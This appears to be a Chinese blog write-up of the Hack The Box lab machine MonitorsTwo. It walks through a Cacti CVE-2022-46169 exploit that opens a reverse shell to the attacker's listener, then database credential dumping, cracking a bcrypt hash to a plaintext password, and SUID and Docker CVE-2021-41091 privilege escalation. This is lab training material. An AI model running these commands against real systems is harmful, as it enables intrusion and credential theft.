介绍

破解盒子 :: 破解盒子 (hackthebox.com)

10.10.11.211

参考

hackthebox MonitorsTwo渗透全过程 - YouTube

htb monitorstwo wp记录_春猿火的博客-CSDN博客

MonitorsTwo WriteUp_Som3B0dy的博客-CSDN博客

FredBrave/CVE-2022-46169-CACTI-1.2.22:这是 CVE-2022-46169 对仙人掌 1.2.22 的攻击。此漏洞允许通过 RCE 获取计算机上的反向外壳。 (github.com)

UncleJ4ck/CVE-2021-41091: POC for CVE-2021-41091 (github.com)

探测

1
nmap -A 10.10.11.211

230522PM01_412

底部看到版本信息——版本 1.2.22 | © 2004-2023 - The Cacti Group

Google 搜索:The Cacti Group exploit

CVE-2022-46169

230522PM01_413

反连 shell

1
2
3
4
5
6
7
8
9
# 监听 
nc -nlvp 443

# 本机 git clone 把 python 脚本下载下载并且运行
python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.14.29 --LPORT=443

#-u http://10.10.11.211: 指定目标 URL 为 http://10.10.11.211。测试的目标网站
#--LHOST=10.10.14.29: 指定本地主机的 IP 地址为 10.10.14.29。反向连接的 IP 地址。
-#-LPORT=443: 指定本地主机的端口号为 443。接收反向连接的端口号。

230522PM01_414

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cd /
cat entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi

exec "$@"

# -------------------------------------------------------------------------------------------------
# 这个脚本的功能是等待数据库可用后,检查指定的表是否存在,如果不存在,则导入 SQL 文件并更新数据库中的记录。然后设置目录权限并执行传递给脚本的命令行参数。
image-20230522143700780
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
find / -perm -u=s 2>/dev/null
# find: 命令用于在文件系统中查找文件和目录。
# /: 指定查找的起始路径为根目录。
# -perm -u=s: 指定查找具有 Setuid 权限的文件。-perm 选项用于指定文件权限,-u 表示针对文件所有者的权限,=s 表示设置了 Setuid 权限的文件。
# 2>/dev/null: 将错误输出重定向到 /dev/null,即丢弃错误信息,以避免显示不必要的错误提示。

/sbin/capsh --gid=0 --uid=0 --

# 以 root 用户的身份运行 /sbin/capsh 工具,以便在修改进程权限和能力时拥有 root 权限

whoami

# 复制 entrypoint.sh 文件的命令
mysql --host=db --user=root --password=root cacti -e "show tables"
mysql --host=db --user=root --password=root cacti -e "select * from user_auth"

# 找到 marcus 用户的密码
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
image-20230522153929350

image-20230522161505179

1
2
3
4
5
6
7
8
# 本机
hashcat -m 3200 -a 0 pass.txt /home/aloof/zidm/common-password-list/rockyou.txt

# 使用 hashcat 工具对 `pass.txt` 文件中的 bcrypt 哈希值进行直接字典攻击,并使用 `/home/aloof/zidm/common-password-list/rockyou.txt` 字典文件

ssh marcus@10.10.11.211

$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
用户名 密码 明文
marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C funkymonkey

image-20230522161750097

1
2
3
4
5
# www-data 用户
cd /
cd bin
ls -al | grep bash
chmod u+s bash

230522PM06_418

UncleJ4ck/CVE-2021-41091: POC for CVE-2021-41091 (github.com)

1
2
3
4
5
# 本机
git clone https://github.com/UncleJ4ck/CVE-2021-41091.git

ifconfig
sudo python3 -m http.server
1
2
3
# marcus 
./exp.sh
chmod +x exp.sh

230522PM04_416

image-20230522165732052

image-20230522165813484


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k